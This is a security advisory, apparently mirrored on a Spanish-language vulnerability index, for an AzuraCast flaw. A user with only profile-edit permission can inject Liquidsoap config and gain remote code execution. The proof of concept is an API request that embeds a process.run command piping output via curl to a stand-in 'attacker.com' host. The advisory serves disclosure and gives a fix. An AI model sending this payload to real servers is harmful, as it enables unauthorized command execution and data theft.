GHSA-Q8WG-3QG7-8PC7
Unauthorized Write to Liquidsoap Custom Config via Profile Edit Endpoint Leads to RCE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-Q8WG-3QG7-8PC7 divulgada · CVSS 8.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The `PUT /api/station/{station_id}/profile/edit` endpoint, protected only by `StationPermissions::Profile` ("manage station profile"), exposes the `backend_config.custom_config_top`, `custom_config`, `custom_config_pre_playlists`, `custom_config_pre_live`, `custom_config_pre_fade`, and `custom_config_bottom` fields through a serialization group boundary bypass.
These fields are annotated with `GROUP_GENERAL` in `Station.php` (line 168), making them writable via the profile edit serialization context. The `AbstractArrayEntity::fromArray()` method sets them unconditionally on the `StationBackendConfiguration` object. The fields are then written verbatim into the Liquidsoap `.liq` script by `ConfigWriter::writeCustomConfigurationSection()` with no sanitization.
Liquidsoap's `process.run()` and `process.exec()` built-ins allow arbitrary OS command execution. The injected code runs automatically when AzuraCast restarts the Liquidsoap backend, which occurs within minutes via the built-in sync task when `needs_restart = true` is detected.
The dedicated Liquidsoap config endpoint (`/api/station/{id}/liquidsoap-config`) correctly requires `StationPermissions::Broadcasting`, but the profile edit endpoint does not enforce this boundary, allowing a less-privileged user to write the same dangerous fields.
Affected Component
- `backend/src/Controller/Api/Stations/ProfileEditController.php` - uses `GROUP_GENERAL` context for profile editors
- `backend/src/Entity/Station.php:168` - `backend_config` annotated with `GROUP_GENERAL`
- `backend/src/Doctrine/AbstractArrayEntity.php:69` - `fromArray()` sets all public properties without field-level permission checks
- `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:947` - `custom_config_*` written verbatim to `.liq`
PoC
Prerequisites: API key with `manage station profile` permission only (no `Broadcasting`, no global admin).
Request
PUT /api/station/1/profile/edit HTTP/1.1
X-API-Key: <station-profile-key>
Content-Type: application/json
{
"backend_config": {
"custom_config_top": "_ = process.run("id | curl -s -X POST https://attacker.com --data-binary @-")\n"
}
}Response
HTTP/1.1 200 OK
{"success":true,"message":"Record updated successfully.","formatted_message":"Record updated successfully."}The sync task sets `needs_restart = true` automatically. Within ≤1 minute, Liquidsoap restarts, reads the regenerated `.liq`, and executes the injected OS command.
Validated on: AzuraCast 0.23.7 (`ghcr.io/azuracast/azuracast:latest`, 2026-07-08)
Permission Boundary Violated
| Endpoint | Permission required |
|----------|-------------------|
| `PUT /api/station/{id}/liquidsoap-config` | `StationPermissions::Broadcasting` |
| `PUT /api/station/{id}/profile/edit` | `StationPermissions::Profile` ← exploited |
A station manager can be assigned `Profile` without `Broadcasting` and reach the same `custom_config_*` fields through this bypass.
Suggested Fix
Remove `custom_config_*` fields from `GROUP_GENERAL` serialization access in `ProfileEditController`, or strip them explicitly before calling `editRecord()` unless the caller holds `StationPermissions::Broadcasting`:
```php
if (!$request->getAcl()->isAllowed(StationPermissions::Broadcasting, $station)) {
foreach (StationBackendConfiguration::getCustomConfigurationSections() as $key) {
unset($body['backend_config'][$key]);
}
}
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistazuracast/azuracast |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q8wg-3qg7-8pc7Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
